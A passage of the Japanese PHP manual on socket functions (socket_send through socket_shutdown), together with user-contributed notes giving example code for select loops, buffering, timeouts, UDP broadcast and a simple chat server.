        }elseif($client_header['path']=="/test"){
          echo "Sending test HTML page to client\n";
          socket_write($newsocket,"<!DOCTYPE HTML><html><head><html><body><h1>Its working!</h1>Have fun\r\n");
          socket_write($newsocket,"<pre>Request header: ". print_r($client_header,true) . "</pre>\r\n");
          socket_write($newsocket,"</body></html>\r\n\r\n");
          socket_close($newsocket);
        }else{
          echo "$client_header[protocol] 404 Not Found\r\n";
          socket_write($newsocket,"$client_header[protocol] 404 Not Found\r\n\r\n");
          socket_close($newsocket);
        }
      }
    }
  }
  socket_close($host_socket);
?>
Viorel 06-Mar-2013 07:38
Probably you will want to use

// get a list of all the clients that have data to be read from
// if there are no clients with data, go to next iteration
        if (socket_select($read, $write = NULL, $except = NULL, NULL) < 1)
            continue;

instead
        if (socket_select($read, $write = NULL, $except = NULL, 0) < 1)
            continue;
which will hang your CPU to 100% (return immediate if nothing to be done)
jean at briskula dot si 04-Feb-2011 05:03
As it was already said, some clients need \0 character to end transmission, for example Flash's XMLSocket.

You should also be prepared to read less data than you have requested.

Here is an example of a socket buffer - it's an array which has socket resources for keys and an array of a timestamp and recieved data as values.

I find that the best practice for sending data is trailing it with a new line and zero character (\n\0), because you will probably have different types of clients which behave differently for reading data from sockets. Some need a \n to fire an event, some need \0.

For recieving data, sometimes you will get splitted data - this can hapen because the buffer is full (in my example 8192 bytes) or it just gets broken during transmission in lower levels.

Sometimes you can read two messages at once, but they have a zero character in between, so you can just use preg_split() to split the messages. The second message may not be complete, so you add it to your buffer.

<?php
    const message_delimiter = "\n\0";

    /*
     * Clear socket buffers older than 1 hour
     */
    function clear_buffer() {
        foreach($this->buffer as $key=>$val) {
            if(time() - $val['ts'] > 3600) {
                unset($this->buffer[$key]);
            }
        }
    }

    /*
     * Add data to a buffer
     */
    function buffer_add($sock,$data) {
        if(!isset($this->buffer[$sock])) {
            $this->buffer[$sock]['data'] = '';
        }

        $this->buffer[$sock]['data'] .= $data;
        $this->buffer[$sock]['ts'] = time();
    }

    function buffer_get($sock) {
        // split buffer by the end of string
        $lines = preg_split('/\0/',$this->buffer[$sock]['data']);

        // reset buffer to the last line of input
        // if the buffer was sent completely, the last line of input should be
        // an empty string
        $this->buffer[$sock]['data'] = trim($lines[count($lines)-1]);

        if(!empty($this->buffer[$sock]['data'])) {
            debug("buffer is not empty for $sock, len: ".strlen($this->buffer[$sock]['data']));
        }

        // remove the last line of input (incomplete data)
        // parse any complete data
        unset($lines[count($lines)-1]);

        // return only the fully sent data
        return $lines;
    }

    function read(&$sock,$len=8192,$flag=MSG_DONTWAIT) {
        $lines = array();

        $this->clear_buffer();

        $bytes_read = @socket_recv($sock,$read_data,$len,$flag);

        if ($bytes_read === false || $bytes_read == 0) {
            return false;
        } else {
            debug("recv: $read_data");
            $this->buffer_add($sock,$read_data);
            return $this->buffer_get($sock);
        }
    }

    /*
     * Write to a socket
     * add a newline and null character at the end
     * some clients don't read until new line is recieved
     *
     * try to send the rest of the data if it gets truncated
     */
    function write(&$sock,$msg) {
        $msg = $msg.self::message_delimiter;
        $length = strlen($msg);
        while(true) {
            $sent = @socket_write($sock,$msg,$length);
            if($sent <= 0) {
                return false;
            }
            if($sent < $length) {
                $msg = substr($msg, $sent);
                $length -= $sent;
                debug("Message truncated: Resending: $msg");
            } else {
                return true;
            }
        }
        return false;
    }
?>
John 02-Jun-2010 09:25
The way the document describes socket_select()'s handling of sockets polled for read is rather obscure.

It says that it checks to see if reading would not "block," but the overall description of socket_select() says it checks for a change in blocking status. Unfortunately, these are in conflict.

If a socket already has data in the buffer, calling socket_select() on that socket would never return (assuming null timeout), and would block forever. :-( This is because the blocking status wouldn't change. It simply stays "non-blocking"

It is important to remember NOT to select() on a socket which may already have data available.

An example...
<?php
//... $socket is already here...
$done = false;
$n = 0;
do{
    $tmp = 0;
    $r = $w = $e = array();
    $r = array($socket);
    socket_select($r,$w,$e,null);
    $n = socket_recv($socket, $tmp, 1024, 0);

    //$done = true; //Something determines that we are done reading...
}while(!$done);
?>
This MAY NOT work... socket_select() is always being called... but we may have data in the input buffer.

We need to ensure that the last time we read, nothing was read... (empty buffer)
<?php
//... $socket is already here...
$done = false;
$n = 0;
do{
    $tmp = 0;
    $r = $w = $e = array();
    $r = array($socket);
    if($n === 0) socket_select($r,$w,$e,null);
    $n = socket_recv($socket, $tmp, 1024, 0);

    //$done = true; //Something determines that we are done reading...
}while(!$done);
?>
magemerlin at list dot ru 17-Apr-2010 03:24
If you using a Flash client - you should know some specific features:

1) when client connects to the server - it is sending to you "<policy-file-request/>"."\0" string. Server should answer an XML policy file, then disconnect from this client. Code is something like

if ('<policy-file-request/>'==substr($data, 0, 22))
                {
                    echo "policy requset.\n";
                    flush();ob_flush();
                    $msg = '<'.'?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" to-ports="*" />
</cross-domain-policy>'."\0";
                    echo "Say to client (crossdomain.xml) ... ";
                    flush();ob_flush();
                    socket_write($read_sock, $msg, strlen($msg));
                    echo "OK\n";
                    flush();ob_flush();

                    echo "Closing ... ";
                    flush();ob_flush();
                    socket_close($read_sock);
                    echo "OK\n";
                    flush();ob_flush();
                }
                else
                {
// here is normal IO operations with client
}

2) every output to client should be ended with "\0" (if using XMLSocket in Flash client) - otherwise flash will not generate onData event

Russian examples is there - http://www.flasher.ru/forum/showpost.php?p=901346&postcount=7
Aaron (aaron at acephalo dot us) 07-Oct-2009 11:21
socket_select() can also serve as a more granular sleep():

<?php
  # half-second sleep
  $undef = array();
  socket_select($undef, $undef, $undef, 0, "500000");
?>
eidberger at jakota dot de 18-Mar-2009 06:06
Just noticed that you have to loop socket_select () when using UDP to get all queued packets:

<?php
while (socket_select ($aRead, $aWrite, $aExcept, 1) > 0) {
    foreach ($aReadUdp as $oSocket) {
        $this->clientReadUdp ($oSocket);
    }
}
?>

That's important because every call of socket_select () on UDP brings you only one result. But there could be 10.000 results queued and if your turnarround time is to slow (server busy, other sleeps etc.), you'll never progress all results in near realtime.
danny at dansheps dot com 16-Sep-2008 09:45
Just to add to this.  Since the information contained in the notes is somewhat old.   It appears keys are being preserved now.

So, if you rely on knowing which keys need to be worked with and were like me and thought that it didnot preserve.  Well it does.
qartis at gmail dot com 30-Nov-2007 01:38
In regards to the code posted by vardhan ( at ) rogers ( dot ) com, it appears that on the following line:
        if (socket_select($read, $write = NULL, $except = NULL, 0) < 1)
the timeout parameter is accidentally set to 0, rather than NULL. This means that the select call will return immediately rather than blocking indefinitely.

Change the socket_select line to the following for great success:
        if (socket_select($read, $write = NULL, $except = NULL, NULL) < 1)
23-Jan-2007 03:04
If you want to use a simple fractional value for timeout:

<?php
socket_select(..., floor($timeout), ceil($timeout*1000000));
?>
Whosawhatsis at that google email thingy 19-Apr-2006 07:35
Another solution to the problem of keys not being preserved is to have an additional array for looking up sockets that uses their resource identifiers as keys. This can be obtained using array_flip() in some cases, but is particularly useful if each socket is associated with an object. In this case, you can make the object's constructor add a pointer to itself to the lookup array with its socket resource identifier as a key and use the following code to execute a read method for the object associated with each socket returned by socket_select():

<?php
socket_select($reads, $writes, $excepts, 0);

foreach ($sockets as $socket) {
    $lookuparray[$socket]->read();
}
?>
ludvig dot ericson at gmail dot com 01-Nov-2005 05:35
Regarding the comment below, No, it does not, it's a system call and I believe it's rather hard to preserve keys.

Additionally, socket_select should be used like it was a user-inputted array, that you don't know what you sent in to.

<?php
$reads = $clients;
$reads[] = $server;

socket_select($reads);

foreach ($reads as $read) {
    /* do some stuff */
}
?>
crimson at NOSPAMtechnologist dot com 30-Sep-2005 04:15
Note that the resulting arrays do NOT maintain keys (PHP 4.3.2) after being run through this function:

Before:
Array
(
    [Client_Socket] => Resource id #6
    [Server_Socket] => Resource id #9
)

After:
Array
(
    [0] => Resource id #6
    [1] => Resource id #9
)

It would have been nice to have the keys stay to figure out which stream you need to receive from, but you'll have to use some fancy foreach loop to figure out which sockets to check.
vardhan ( at ) rogers ( dot ) com 28-Aug-2005 07:46
A simple PHP script using socket_select() to manage multiple connections.
connect using "telnet localhost 9050". it broadcasts your messages that you send through telnet to other users connected to the server -- sort of like a chat script

#!/usr/local/bin/php
<?php

    $port = 9050;

    // create a streaming socket, of type TCP/IP
    $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

    // set the option to reuse the port
    socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1);

    // "bind" the socket to the address to "localhost", on port $port
    // so this means that all connections on this port are now our resposibility to send/recv data, disconnect, etc..
    socket_bind($sock, 0, $port);

    // start listen for connections
    socket_listen($sock);

    // create a list of all the clients that will be connected to us..
    // add the listening socket to this list
    $clients = array($sock);

    while (true) {
        // create a copy, so $clients doesn't get modified by socket_select()
        $read = $clients;

        // get a list of all the clients that have data to be read from
        // if there are no clients with data, go to next iteration
        if (socket_select($read, $write = NULL, $except = NULL, 0) < 1)
            continue;

        // check if there is a client trying to connect
        if (in_array($sock, $read)) {
            // accept the client, and add him to the $clients array
            $clients[] = $newsock = socket_accept($sock);

            // send the client a welcome message
            socket_write($newsock, "no noobs, but ill make an exception :)\n".
            "There are ".(count($clients) - 1)." client(s) connected to the server\n");

            socket_getpeername($newsock, $ip);
            echo "New client connected: {$ip}\n";

            // remove the listening socket from the clients-with-data array
            $key = array_search($sock, $read);
            unset($read[$key]);
        }

        // loop through all the clients that have data to read from
        foreach ($read as $read_sock) {
            // read until newline or 1024 bytes
            // socket_read while show errors when the client is disconnected, so silence the error messages
            $data = @socket_read($read_sock, 1024, PHP_NORMAL_READ);

            // check if the client is disconnected
            if ($data === false) {
                // remove client for $clients array
                $key = array_search($read_sock, $clients);
                unset($clients[$key]);
                echo "client disconnected.\n";
                // continue to the next client to read from, if any
                continue;
            }

            // trim off the trailing/beginning white spaces
            $data = trim($data);

            // check if there is any data after trimming off the spaces
            if (!empty($data)) {

                // send this to all the clients in the $clients array (except the first one, which is a listening socket)
                foreach ($clients as $send_sock) {

                    // if its the listening sock or the client that we got the message from, go to the next one in the list
                    if ($send_sock == $sock || $send_sock == $read_sock)
                        continue;

                    // write the message to the client -- add a newline character to the end of the message
                    socket_write($send_sock, $data."\n");

                } // end of broadcast foreach

            }

        } // end of reading foreach
    }

    // close the listening socket
    socket_close($sock);
?>
drenintell 01-May-2005 01:13
The continuation of my my previous post on 28-Apr-2005 10:19 at
http://ca3.php.net/manual/en/function.socket-select.php

Here it is: (Link is broken into 2 parts)

'http://gtkphp.org/php_socket_select_hangs
_explanation_and_solution.html'
Richard Neill 16-Sep-2004 09:37
It is probably a bad idea to watch an array of sockets for input with socket_select, and then socket_read() using PHP_NORMAL_READ.

Although this seems desirable, you can end up with a permanently blocked program, if someone sends you malformed input which is missing a trailing \n \r. Guess how I found that out.
calimero dot NOSPAM at NOSPAM dot creatixnet dot com 14-Feb-2003 04:36
Please note that the timeout parameter has important side-effects on the CPU usage of your script.

Setting the timeout to 0 will make your CPU looping without any time to have some rest and handle other running processes on your system, causing the system load to increase heavily while your script is running.

Personnaly, I use a value of 15 ms for this parameter. this ensures a good listening frequency while letting your system load clear.

Example :
$read = array($ListeningSocket);
$num_changed_sockets = socket_select($read, $write = NULL, $except = NULL, 0, 10);

Hope this helps.
daveb at optusnet dot com dot au 09-Sep-2002 09:27
If you haven't done any network programming before, PHP's socket_select() might appear a bit strange to you. I've written a simple php "partyline" script to demonstrate the multi-socket use of select'ing at http://dave.dapond.com/socketselect.php.txt
julian dot haupt at gmx dot de 09-Jul-2002 10:15
hello,
i just made a class which acts similiar to Perl's IO::Select in order to make socket selecting very easy

your script should look something like that:

<?php
$server = new Server;
$client = new Client;

for (;;) {
  foreach ($select->can_read(0) as $socket) {

    if ($socket == $client->socket) {
      // New Client Socket
      $select->add(socket_accept($client->socket));
    }
    else {
      //there's something to read on $socket
    }
  }
}
?>

you should of course implement some routines to detect broken sockets and remove them from the select object.

you can also do output buffering and check in the main-loop for sockets that are ready to write

<?php
class select {
  var $sockets;

  function select($sockets) {

    $this->sockets = array();

    foreach ($sockets as $socket) {
      $this->add($socket);
    }
  }

  function add($add_socket) {
    array_push($this->sockets,$add_socket);
  }

  function remove($remove_socket) {
    $sockets = array();

    foreach ($this->sockets as $socket) {
      if($remove_socket != $socket)
        $sockets[] = $socket;
    }

    $this->sockets = $sockets;
  }

  function can_read($timeout) {
    $read = $this->sockets;
    socket_select($read,$write = NULL,$except = NULL,$timeout);
    return $read;
  }

  function can_write($timeout) {
    $write = $this->sockets;
    socket_select($read = NULL,$write,$except = NULL,$timeout);
    return $write;
  }
}
?>


接続したソケットにデータを送信する

  • ≪ socket_select
  • socket_sendmsg ≫
  • PHP Manual
  • ソケット 関数
  • 接続したソケットにデータを送信する

socket_send

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_send — 接続したソケットにデータを送信する

説明

socket_send ( Socket $socket , string $data , int $length , int $flags ) : int|false

関数 socket_send() は、 data からソケット socket に length バイトのデータを送信します。

パラメータ

socket

socket_create() あるいは socket_accept() が作成した有効な Socket クラスのインスタンス。

data

リモートホストに送信するデータを含むバッファ。

length

data からリモートホストに送信するバイト数。

flags

flags の値は、以下のフラグの任意の組み合わせを 論理 OR 演算子 (|) で連結したものとなります。

flags がとりうる値
MSG_OOB | OOB（out-of-band: 帯域外）データを送信します。
MSG_EOR | レコードにマークをつけます。 レコードでデータがそろいます。
MSG_EOF | ソケットの送信側を閉じ、そのことを知らせる通知を送信データの最後に付加します。 トランザクションでデータがそろいます。
MSG_DONTROUTE | ルータを使用せず、直接つながっているインターフェイスのみを使用します。

返り値

socket_send() は、送信したバイト数あるいはエラー時に false を返します。

変更履歴

バージョン | 説明
8.0.0 | socket は、Socket クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。

参考

  • socket_sendto() - 接続しているかどうかによらずソケットにメッセージを送信する

User Contributed Notes

There are no user contributed notes for this page.


メッセージを送信する

  • ≪ socket_send
  • socket_sendto ≫
  • PHP Manual
  • ソケット 関数
  • メッセージを送信する

socket_sendmsg

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

socket_sendmsg — メッセージを送信する

説明

socket_sendmsg ( Socket $socket , array $message , int $flags = 0 ) : int|false

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

socket

message

flags

返り値

送信したバイト数を返します。失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | socket は、Socket クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。

参考

  • socket_recvmsg() - メッセージを読む
  • socket_cmsg_space() - メッセージバッファサイズを計算する

User Contributed Notes

There are no user contributed notes for this page.


接続しているかどうかによらずソケットにメッセージを送信する

  • ≪ socket_sendmsg
  • socket_set_block ≫
  • PHP Manual
  • ソケット 関数
  • 接続しているかどうかによらずソケットにメッセージを送信する

socket_sendto

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_sendto — 接続しているかどうかによらずソケットにメッセージを送信する

説明

socket_sendto ( Socket $socket , string $data , int $length , int $flags , string $address , int|null $port = null ) : int|false

関数 socket_sendto() は、 アドレス addr の port を使用し、 data からソケット socket に length バイトのデータを送信します。

パラメータ

socket

socket_create() で作成した Socket クラスのインスタンス。

data

送信するデータが、data から取り出されます。

length

data から length バイト分のデータが送信されます。

flags

flags の値は、以下のフラグの任意の組み合わせを 論理 OR 演算子 (|) で連結したものとなります。

flags がとりうる値
MSG_OOB | OOB（out-of-band: 帯域外）データを送信します。
MSG_EOR | レコードにマークをつけます。 レコードでデータがそろいます。
MSG_EOF | ソケットの送信側を閉じ、そのことを知らせる通知を送信データの最後に付加します。 トランザクションでデータがそろいます。
MSG_DONTROUTE | ルータを使用せず、直接つながっているインターフェイスのみを使用します。

address

リモートホストの IP アドレス。

port

port は、 データの送信先となるリモートホストのポート番号です。

返り値

socket_sendto() は、リモートホストに送信したバイト数を返します。 エラーが発生した場合は false を返します。

変更履歴

バージョン | 説明
8.0.0 | socket は、Socket クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。
8.0.0 | port は、nullable になりました。

例

例1 socket_sendto() の例

<?php
    $sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);

    $msg = "Ping !";
    $len = strlen($msg);

    socket_sendto($sock, $msg, $len, 0, '127.0.0.1', 1223);
    socket_close($sock);
?>

参考

  • socket_send() - 接続したソケットにデータを送信する

User Contributed Notes

ole_DOT_omland_AT_gmail_DOT_com 12-Oct-2005 07:44
Here's how you can make an udp broadcast, useful sometimes, and does seem hard to figure out hwo to do..

<?php
$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, 1);
socket_sendto($sock, $broadcast_string, strlen($broadcast_string), 0, '255.255.255.255', $port);
?>


ソケットのブロッキングモードを設定する

  • ≪ socket_sendto
  • socket_set_nonblock ≫
  • PHP Manual
  • ソケット 関数
  • ソケットのブロッキングモードを設定する

socket_set_block

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

socket_set_block — ソケットのブロッキングモードを設定する

説明

socket_set_block ( Socket $socket ) : bool

socket_set_block() 関数は、 socket パラメータで指定したソケットから O_NONBLOCK フラグを取り除きます。

受信や送信、接続、待機といった操作をブロックモードのソケットに対して行うと、 その処理が完了するか何らかのシグナルを受信するまではスクリプトを停止します。

パラメータ

socket

socket_create() あるいは socket_accept() で作成した Socket クラスのインスタンス。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | socket は、Socket クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。

例

例1 socket_set_block() の例

<?php
$socket = socket_create_listen(1223);
socket_set_block($socket);

socket_accept($socket);
?>

この例は、すべてのインターフェイス上でポート 1223 を待ち受けるソケットを作成し、それを O_BLOCK モードに設定します。 socket_accept() は、 接続が受け付けられるまで処理を停止して待ち続けます。

参考

  • socket_set_nonblock() - ソケットリソースを非ブロックモードに設定する
  • socket_set_option() - ソケットのオプションを設定する

User Contributed Notes

laacz at laacz dot lv 04-Dec-2014 08:43
Besides true and false socket_set_block might return NULL if you're not too careful. That would happen when passing non socket resource as first parameter.

E.g. socket_set_block(false)) would return NULL and emit warning that you're trying to do things with non-socket.


ソケットリソースを非ブロックモードに設定する

  • ≪ socket_set_block
  • socket_set_option ≫
  • PHP Manual
  • ソケット 関数
  • ソケットリソースを非ブロックモードに設定する

socket_set_nonblock

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_set_nonblock — ソケットリソースを非ブロックモードに設定する

説明

socket_set_nonblock ( Socket $socket ) : bool

socket_set_nonblock() 関数は、 socket パラメータで指定したソケットに O_NONBLOCK フラグを設定します。

受信や送信、接続、待機といった操作を非ブロックモードのソケットに対して行うと、 その処理が完了するか何らかのシグナルを受信するまではスクリプトは停止しません。 また、その操作がブロックされると、呼び出し元の関数は失敗します。

パラメータ

socket

socket_create() あるいは socket_accept() で作成した Socket クラスのインスタンス。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | socket は、Socket クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。

例

例1 socket_set_nonblock() の例

<?php
$socket = socket_create_listen(1223);
socket_set_nonblock($socket);

socket_accept($socket);
?>

この例は、すべてのインターフェイス上でポート 1223 を待ち受けるソケットを作成し、それを O_NONBLOCK モードに設定します。 socket_accept() は、 その時点で待機中の接続がない場合はすぐに失敗します。

参考

  • socket_set_block() - ソケットのブロッキングモードを設定する
  • socket_set_option() - ソケットのオプションを設定する
  • stream_set_blocking() - ストリームのブロックモードを有効にする / 解除する

User Contributed Notes

kpobococ at gmail dot com 11-Sep-2009 07:46
Beware, when using this function within a loop (i.e. a demon with a socket). The socket_accept(), for example, emits a warning each time there is no incoming connection available to be read. My php error log file got huge in a matter of seconds, eventually crashing the server.

Of course, i used the @ before the function to take care of that problem.

[EDITOR: One can (and should) use socket_select to detect a new connection on a socket (it's a "readable" event)]


ソケットのオプションを設定する

  • ≪ socket_set_nonblock
  • socket_setopt ≫
  • PHP Manual
  • ソケット 関数
  • ソケットのオプションを設定する

socket_set_option

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

socket_set_option — ソケットのオプションを設定する

説明

socket_set_option ( Socket $socket , int $level , int $option , array|string|int $value ) : bool

socket_set_option() 関数は、level が指すプロトコルレベルでソケット socket のオプション option に値 value を設定します。

パラメータ

socket

socket_create() あるいは socket_accept() で作成した Socket クラスのインスタンス。

level

level パラメータは、オプションのプロトコルレベルを指定します。 例えば、オプションをソケットレベルで取得するには level パラメータに SOL_SOCKET を指定します。 TCP のようなそれ以外のレベルの場合、そのレベルのプロトコル番号を指定します。 プロトコル番号は getprotobyname() 関数を使用して取得可能です。

option

使用可能なソケットオプションは socket_get_option() 関数と同じです。

value

オプションの値。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | socket は、Socket クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。

例

例1 socket_set_option() の例

<?php
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if (!is_resource($socket)) {
    echo 'ソケットを作成できません: '. socket_strerror(socket_last_error()) . PHP_EOL;
}

if (!socket_set_option($socket, SOL_SOCKET, SO_REUSEADDR, 1)) {
    echo 'ソケットのオプションを設定できません: '. socket_strerror(socket_last_error()) . PHP_EOL;
}

if (!socket_bind($socket, '127.0.0.1', 1223)) {
    echo 'ソケットをバインドできません: '. socket_strerror(socket_last_error()) . PHP_EOL;
}

$rval = socket_get_option($socket, SOL_SOCKET, SO_REUSEADDR);

if ($rval === false) {
    echo 'ソケットのオプションを取得できません: '. socket_strerror(socket_last_error()) . PHP_EOL;
} else if ($rval !== 0) {
    echo 'SO_REUSEADDR がソケットに設定されています!' . PHP_EOL;
}
?>

参考

  • socket_create() - ソケット（通信時の終端）を作成する
  • socket_bind() - ソケットに名前をバインドする
  • socket_strerror() - ソケットエラーの内容を文字列として返す
  • socket_last_error() - ソケットの直近のエラーを返す
  • socket_get_option() - ソケットのオプションを取得する

User Contributed Notes

gmail user asmqb7 29-Jun-2019 05:31
PLEASE NOTE

PHP 7.3.6, and probably many previous versions, automatically sets SO_REUSEADDR when you use stream_socket_server().

php_network_bind_socket_to_local_addr() is called at https://github.com/php/php-src/blob/623911f993f39ebbe75abe2771fc89faf6b15b9b/main/streams/xp_socket.c#L675 and defined at https://github.com/php/php-src/blob/61a6a6ec51297506c54f3c6e60ace9b892d0a3e4/main/network.c#L401 and if you take a look you'll see

#ifdef SO_REUSEADDR
            setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (char*)&sockoptval, sizeof(sockoptval));
#endif

I initially thought I'd need to play with context options to turn this on, but no, the simplest single-arg call with no error checking and just an address, works for me.

strace your PHP binary to be 100% sure:

...
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
...

The chances are you ARE using SO_REUSEADDR unless you're using a 100-year old UNIX clone in a month with a Z in it.
renmengyang567 at gmail dot com 07-Apr-2019 10:04
<question>
 Why is the size of the buffer 2 times that set by me?
<?php
//Before setting the cache area
$sock = socket_create(AF_INET, SOCK_STREAM, getprotobyname('tcp'));
socket_bind($sock, '127.0.0.1',5000);
socket_listen($sock,1024);
$sndbuf = socket_get_option($sock,SOL_SOCKET,SO_SNDBUF);
$rcvbuf = socket_get_option($sock,SOL_SOCKET,SO_RCVBUF);
printf("send buffer size(写?存区大小):%sm \n",$sndbuf/1024);
printf("receive buffer(??存区大小)%sm \n",$rcvbuf/1024);

//After setting the cache area
$snd_buf = 1024*3;
$rcv_buf = 1024*3;

socket_set_option($sock,SOL_SOCKET,SO_SNDBUF, $snd_buf);
socket_set_option($sock,SOL_SOCKET,SO_RCVBUF, $rcv_buf);
$sndbuf = socket_get_option($sock,SOL_SOCKET,SO_SNDBUF);
$rcvbuf = socket_get_option($sock,SOL_SOCKET,SO_RCVBUF);

printf("send buffer size(写?存区大小):%sm \n",$sndbuf/1024);
printf("receive buffer size(??存区大小)%sm \n",$rcvbuf/1024);
?>
ckozler at kozler dot net 19-Mar-2012 07:06
It appears that Winsock does not acknowledge timeout (send and receive) on Windows.
DaveRandom 26-Nov-2010 04:13
Setting the socket timeout microseconds ('usec') does not work under Windows, at least under PHP/5.2.9:

<?php

  $timeout = array('sec'=>1,'usec'=>500000);
  socket_set_option($socket,SOL_SOCKET,SO_RCVTIMEO,$timeout);
  var_dump(socket_set_option($socket,SOL_SOCKET,SO_RCVTIMEO));

?>

Output on Windows box:

array(2) {
  ["sec"]=>
  int(1)
  ["usec"]=>
  int(0)
}

Output on Linux box:

array(2) {
  ["sec"]=>
  int(1)
  ["usec"]=>
  int(500000)
}
aeolianmeson at ifacfchi dot blitzeclipse dot com 26-Jun-2008 03:31
Lingering will sometimes not work when you're working with non-blocking sockets. Even if the socket is set to linger and you keep tying to close until the socket doesn't return an error and the resource is no longer identifiable as type 'Socket', the socket may STILL close without sending everything.

Therefore, in the event that you are using non-blocking sockets (which is preferable if you care at all about signaling), you should set the socket as blocking (socket_set_block()) before calling to close it. This will allow everything to flush before it returns.

Dustin Oprea
ludvig dot ericson at gmail dot com 21-Dec-2006 01:06
I would like to comment on the previous note regarding blocking sockets.
There is more to blocking sockets than waiting for data to be received when trying to be read upon, just to make example, a listening blocking socket will wait for a client to try to connect before it returns when you socket_accept() it.
drenintell 30-Apr-2005 05:19
To expand a bit more on what "tim at e2-media dot co dot nz" started.

SO_SNDTIMEO is one of the many constants you can use with socket_set_option.

See http://ca.php.net/manual/en/ref.sockets.php for the available Predefind Constants and visit http://man.he.net/man2/setsockopt for the meaning of the ones relevant.

Tim's example might seem at first a bit non-intuitive since he is using the SO_SNDTIMEO constant. Which means, if the socket has to send out data, it must do it within the limit specified - in his case 10 seconds. Usually you won't set a timeout for sending out data. Nevertheless, the example is valid, and there are situations where you need to do so.

A more intuitive use of socket_set_option would be to set a time out for a blocking socket (a socket that waits for data to be receive when read from). You would do this like so:

socket_set_option($socket,SOL_SOCKET, SO_RCVTIMEO, array("sec"=>0, "usec"=>100));

Notice that sec= 0 and usec= 100; Depending on how long you want your program to wait to recieve data, you might want to change these values.

Regards,
  drenintell
tim at e2-media dot co dot nz 16-May-2004 08:00
To set a socket timeout value (assuming you've set it blocking) use:

socket_set_option(
  $socket,
  SOL_SOCKET,  // socket level
  SO_SNDTIMEO, // timeout option
  array(
    "sec"=>10, // Timeout in seconds
    "usec"=>0  // I assume timeout in microseconds
    )
  );


socket_set_option のエイリアス

  • ≪ socket_set_option
  • socket_shutdown ≫
  • PHP Manual
  • ソケット 関数
  • socket_set_option のエイリアス

socket_setopt

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_setopt — socket_set_option() のエイリアス

説明

この関数は次の関数のエイリアスです。 socket_set_option()

User Contributed Notes

There are no user contributed notes for this page.


受信、送信、または送受信用のソケットをシャットダウンする

  • ≪ socket_setopt
  • socket_strerror ≫
  • PHP Manual
  • ソケット 関数
  • 受信、送信、または送受信用のソケットをシャットダウンする

socket_shutdown

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_shutdown — 受信、送信、または送受信用のソケットをシャットダウンする

説明

socket_shutdown ( Socket $socket , int $mode = 2 ) : bool

socket_shutdown() 関数は、socket から送られてくる受信、送信あるいはすべて（デフォルト）のデータを停止します。

注意:

関連するバッファの内容は、空になるかもしれないしならないかもしれません。

パラメータ

socket

socket_create() で作成した Socket クラスのインスタンス。

mode

mode の値は以下のうちのひとつです。

mode のとりうる値
0 | ソケットの読み込みを停止します。
1 | ソケットの書き込みを停止します。
2 | ソケットの読み込み・書き込みを停止します。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | socket は、Socket クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。

User Contributed Notes

renmengyang567 at gmail dot com 07-Apr-2019 09:24
<explain>
In this case, the TCP client is gracefully disconnected from the server

<?php

define('BUF_SIZE',10);

// create for tcp
$sock = socket_create(AF_INET, SOCK_STREAM, getprotobyname('tcp'));
socket_bind($sock, '127.0.0.1',5200);
socket_listen($sock,1024);
$fp = fopen('./socket_shutdown.php','rb');
$clnt_sock = socket_accept($sock);

while(!feof($fp)) {
   $str = fread($fp,BUF_SIZE);
   socket_write($clnt_sock,$str,BUF_SIZE);
}

$eof = "\n";
socket_write($clnt_sock,$eof,strlen($eof));

//disconnect output stream(断??入流)
socket_shutdown($clnt_sock,1);
$ret = socket_read($clnt_sock, 100);
printf("Message from client:%s\n",$ret);
socket_close($clnt_sock);
socket_close($sock);
?>

<?php
// for tcp-client
$clnt_sock = socket_create(AF_INET, SOCK_STREAM, getprotobyname('tcp'));
socket_connect($clnt_sock, '127.0.0.1', 5200);
while (($cnt= @socket_read($clnt_sock, 10,PHP_NORMAL_READ)) !==false) {
   file_put_contents('./receive.data',$cnt,FILE_APPEND);
}
print "receive file data".PHP_EOL;
socket_write($clnt_sock, "Tank you");
socket_close($clnt_sock);
?>
recycling dot sp dot am at gmail dot com 16-Sep-2010 09:09
Shutdown and SOL_TCP:
<?php
$a= socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_shutdown($a, 2)
?>
PHP Warning:  socket_shutdown(): unable to shutdown socket [107]: Transport endpoint is not connected

Shutdown and SOL_UDP:
<?php
$a= socket_create(AF_INET, SOCK_STREAM, SOL_UDP);
socket_shutdown($a, 2)
?>
PHP Warning:  socket_shutdown(): unable to shutdown socket [107]: Transport endpoint is not connected

